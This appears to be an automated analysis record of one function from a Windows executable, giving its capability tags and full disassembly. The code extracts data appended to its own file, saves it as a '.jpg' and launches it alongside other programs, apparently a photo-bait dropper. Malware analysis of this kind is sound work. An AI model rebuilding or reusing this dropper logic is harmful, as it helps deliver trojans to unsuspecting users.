Function at 0x401015
Capabilities:
Create process on windows
Create thread
Get common file path
Resume thread
Suspend thread

Disassembly:
add esp, 0xffffffe4
mov dword [0x4040e4], 0x14
push ebx
push ebp
push esi
push edi
push 0x15
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov dword [0x4040d4], eax
mov eax, dword [0x4040e4]
add eax, 2
push eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
push str.USR_Shohdi_Photo_USR
mov dword [0x4040fc], eax
push dword [0x4040d4]
call sub.MSVCRT.dll_strcpy
mov edi, 0x4040dc
push 0x404044
push edi
call sub.MSVCRT.dll_strcpy
push 0x404040
push 0x4040e0
call sub.MSVCRT.dll_strcpy
push dword [0x4040d4]
push dword [0x4040fc]
call sub.MSVCRT.dll_strcpy
push 0x40403c
push dword [0x4040fc]
call sub.MSVCRT.dll_strcat
mov eax, dword [esp + 0x60]
mov esi, 0x12c
push esi
mov dword [0x4040d8], eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
push esi
mov dword [0x4040f4], eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
push esi
mov dword [0x4040ec], eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
push esi
mov dword [0x4040f0], eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
sub esp, 0xffffffc0
mov dword [0x4040f8], eax
push dword [0x4040ec]
push dword [0x4040f4]
call fcn.00401f20
push dword [0x4040f4]
call sub.MSVCRT.dll_strlen
mov ecx, eax
mov eax, dword [0x4040f4]
add esp, 0xc
xor ebx, ebx
cmp byte [ecx + eax - 1], 0x22
jne 0x401112
push eax
call sub.MSVCRT.dll_strlen
pop ecx
mov ecx, dword [0x4040f4]
mov byte [eax + ecx - 1], bl
push dword [0x4040ec]
call sub.MSVCRT.dll_strlen
pop ecx
mov ecx, eax
mov eax, dword [0x4040ec]
cmp byte [ecx + eax - 1], 0x22
jne 0x40113d
push eax
call sub.MSVCRT.dll_strlen
pop ecx
mov ecx, dword [0x4040ec]
mov byte [eax + ecx - 1], bl
push esi
push dword [0x4040f0]
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push esi
push dword [0x4040f8]
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push 0x3e8
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
push dword [0x4040f4]
mov esi, eax
push esi
call sub.MSVCRT.dll_strcpy
sub esp, 0xfffffff4
push edi
push esi
call sub.MSVCRT.dll_strlen
pop ecx
lea eax, [eax + esi - 3]
push eax
call sub.MSVCRT.dll_strcpy
push esi
call sub.MSVCRT.dll_strlen
add eax, dword [0x4040ec]
push eax
push esi
call sub.MSVCRT.dll_strcat
push dword [0x4040f4]
call fcn.004019c4
add esp, 0x18
push 1
pop edi
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WinExec]
push dword [0x4040d4]
mov ebp, dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
push edi
push edi
push ebx
call ebp
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
or eax, eax
je 0x4013b2
push 0x1f4
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
push dword [0x4040f4]
mov ebp, eax
mov dword [esp + 0x2c], ebp
call fcn.00401b5c
push dword [0x4040f0]
mov byte [esp + 0x3c], al
push ebp
call sub.MSVCRT.dll_strcpy
push 0x404038
push ebp
call sub.MSVCRT.dll_strcat
push dword [0x4040d4]
push ebp
call sub.MSVCRT.dll_strcat
push str..jpg
push ebp
call sub.MSVCRT.dll_strcat
push 0x58
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov esi, eax
sub esp, 0xffffffd4
sub edi, 0xffffff81
cmp esi, ebx
je 0x401251
mov eax, dword [sym.imp.MSVCIRT.dll_int_const_filebuf::openprot]
push 1
mov ecx, esi
push dword [eax]
push edi
push ebp
call dword [sym.imp.MSVCIRT.dll_public:_void___thiscall_ofstream::constructor_char_const___int__int_]
mov dword [esi + 8], 0x4030f4
mov dword [esp + 0x20], esi
jmp 0x401255
mov dword [esp + 0x20], ebx
push 0x5c
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov esi, eax
pop ebp
cmp esi, ebx
je 0x401284
mov eax, dword [sym.imp.MSVCIRT.dll_int_const_filebuf::openprot]
push 1
mov ecx, esi
push dword [eax]
push edi
push dword [0x4040f4]
call dword [sym.imp.MSVCIRT.dll_public:_void___thiscall_ifstream::constructor_char_const___int__int_]
mov dword [esi + 0xc], 0x4030f0
jmp 0x401286
xor esi, esi
cmp byte [esp + 0x30], bl
mov edi, dword [sym.imp.MSVCIRT.dll_public:_class_istream____thiscall_istream::read_char___int_]
push 2
push 0xfffffffffffffff8
je 0x4012c0
mov ebp, dword [sym.imp.MSVCIRT.dll_public:_class_istream____thiscall_istream::seekg_long_int__enum_ios::seek_dir_]
pop eax
sub eax, dword [0x4040e4]
mov ecx, esi
push eax
call ebp
lea eax, [esp + 0x10]
push 4
push eax
mov ecx, esi
call edi
push ebx
mov ecx, esi
mov eax, dword [esp + 0x14]
add eax, 0xfffffff8
push eax
jmp 0x4012c8
mov ebp, dword [sym.imp.MSVCIRT.dll_public:_class_istream____thiscall_istream::seekg_long_int__enum_ios::seek_dir_]
mov ecx, esi
call ebp
lea eax, [esp + 0x10]
push 4
push eax
mov ecx, esi
call edi
push ebx
mov ecx, esi
mov eax, dword [esp + 0x14]
add eax, 0xfffffff8
push eax
call ebp
lea eax, [esp + 0x10]
push 4
push eax
mov ecx, esi
call edi
lea eax, [esp + 0x14]
push 4
push eax
mov ecx, esi
call edi
push ebx
mov ecx, esi
push dword [esp + 0x14]
call ebp
mov eax, dword [esp + 0x14]
inc eax
push eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
pop ecx
mov ebp, eax
push dword [esp + 0x14]
mov ecx, esi
push ebp
call edi
push dword [esp + 0x14]
mov edi, dword [esp + 0x24]
mov ecx, edi
push ebp
call dword [sym.imp.MSVCIRT.dll_public:_class_ostream____thiscall_ostream::write_char_const___int_]
mov ecx, esi
call dword [sym.imp.MSVCIRT.dll_public:_void___thiscall_ifstream::close_void_]
mov ecx, edi
call dword [sym.imp.MSVCIRT.dll_public:_void___thiscall_ofstream::close_void_]
cmp esi, ebx
je 0x40134c
mov eax, dword [esi]
push 1
mov eax, dword [eax + 4]
lea ecx, [eax + esi]
mov eax, dword [eax + esi]
call dword [eax]
cmp edi, ebx
je 0x40135f
mov eax, dword [edi]
push 1
mov eax, dword [eax + 4]
lea ecx, [eax + edi]
mov eax, dword [eax + edi]
call dword [eax]
push ebp
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
mov dword [esp], 0x3e8
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov ebp, eax
mov dword [esp], str.start
push ebp
call sub.MSVCRT.dll_strcpy
push dword [esp + 0x2c]
push ebp
call sub.MSVCRT.dll_strcat
add esp, 0x10
push ebx
push ebp
call dword [sym.imp.KERNEL32.dll_WinExec]
push dword [esp + 0x24]
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
push ebp
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
pop edx
xor eax, eax
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1c
ret 0x10
push dword [0x4040fc]
push edi
push edi
push ebx
call ebp
push 0x1f4
mov dword [esp + 0x18], eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
push dword [0x4040f4]
mov ebp, eax
mov dword [esp + 0x28], ebp
call fcn.00401b5c
push dword [0x4040f0]
mov byte [esp + 0x3c], al
push ebp
call sub.MSVCRT.dll_strcpy
push 0x404038
push ebp
call sub.MSVCRT.dll_strcat
push dword [0x4040d4]
push ebp
call sub.MSVCRT.dll_strcat
push 0x404020
push ebp
call sub.MSVCRT.dll_strcat
push 0x58
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov edi, eax
sub esp, 0xffffffd4
cmp edi, ebx
mov esi, 0x80
je 0x401443
mov eax, dword [sym.imp.MSVCIRT.dll_int_const_filebuf::openprot]
push 1
mov ecx, edi
push dword [eax]
push esi
push ebp
call dword [sym.imp.MSVCIRT.dll_public:_void___thiscall_ofstream::constructor_char_const___int__int_]
mov dword [edi + 8], 0x4030f4
mov dword [esp + 0x24], edi
jmp 0x401447
mov dword [esp + 0x24], ebx
push 0x5c
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov edi, eax
pop ebp
cmp edi, ebx
je 0x401476
mov eax, dword [sym.imp.MSVCIRT.dll_int_const_filebuf::openprot]
push 1
mov ecx, edi
push dword [eax]
push esi
push dword [0x4040f4]
call dword [sym.imp.MSVCIRT.dll_public:_void___thiscall_ifstream::constructor_char_const___int__int_]
mov dword [edi + 0xc], 0x4030f0
jmp 0x401478
xor edi, edi
cmp byte [esp + 0x30], bl
mov esi, dword [sym.imp.MSVCIRT.dll_public:_class_istream____thiscall_istream::read_char___int_]
push 2
push 0xfffffffffffffff8
je 0x4014b2
mov ebp, dword [sym.imp.MSVCIRT.dll_public:_class_istream____thiscall_istream::seekg_long_int__enum_ios::seek_dir_]
pop eax
sub eax, dword [0x4040e4]
mov ecx, edi
push eax
call ebp
lea eax, [esp + 0x18]
push 4
push eax
mov ecx, edi
call esi
push ebx
mov ecx, edi
mov eax, dword [esp + 0x1c]
add eax, 0xfffffff8
push eax
jmp 0x4014ba
mov ebp, dword [sym.imp.MSVCIRT.dll_public:_class_istream____thiscall_istream::seekg_long_int__enum_ios::seek_dir_]
mov ecx, edi
call ebp
lea eax, [esp + 0x18]
push 4
push eax
mov ecx, edi
call esi
lea eax, [esp + 0x1c]
push 4
push eax
mov ecx, edi
call esi
push ebx
mov ecx, edi
push dword [esp + 0x1c]
call ebp
mov eax, dword [esp + 0x1c]
inc eax
push eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
pop ebp
mov ebp, eax
push dword [esp + 0x1c]
mov ecx, edi
push ebp
call esi
push dword [esp + 0x1c]
mov esi, dword [esp + 0x28]
mov ecx, esi
push ebp
call dword [sym.imp.MSVCIRT.dll_public:_class_ostream____thiscall_ostream::write_char_const___int_]
mov ecx, edi
call dword [sym.imp.MSVCIRT.dll_public:_void___thiscall_ifstream::close_void_]
mov ecx, esi
call dword [sym.imp.MSVCIRT.dll_public:_void___thiscall_ofstream::close_void_]
cmp edi, ebx
je 0x401526
mov eax, dword [edi]
push 1
mov eax, dword [eax + 4]
lea ecx, [eax + edi]
mov eax, dword [eax + edi]
call dword [eax]
cmp esi, ebx
je 0x401539
mov eax, dword [esi]
push 1
mov eax, dword [eax + 4]
lea ecx, [eax + esi]
mov eax, dword [eax + esi]
call dword [eax]
push ebp
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
mov ebp, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
pop ecx
push ebx
push dword [esp + 0x18]
call ebp
or eax, eax
jne 0x40155d
push 1
push dword [esp + 0x24]
call dword [sym.imp.KERNEL32.dll_WinExec]
push dword [esp + 0x20]
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
pop ecx
lea eax, [esp + 0x28]
push eax
push ebx
push ebx
push 0x401999
push 0x400
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov edi, eax
push ebx
push edi
call ebp
test eax, eax
je 0x40156d
push 0x64
call esi
push edi
call dword [sym.imp.KERNEL32.dll_SuspendThread]
push 0x384
call esi
push edi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
jmp 0x401587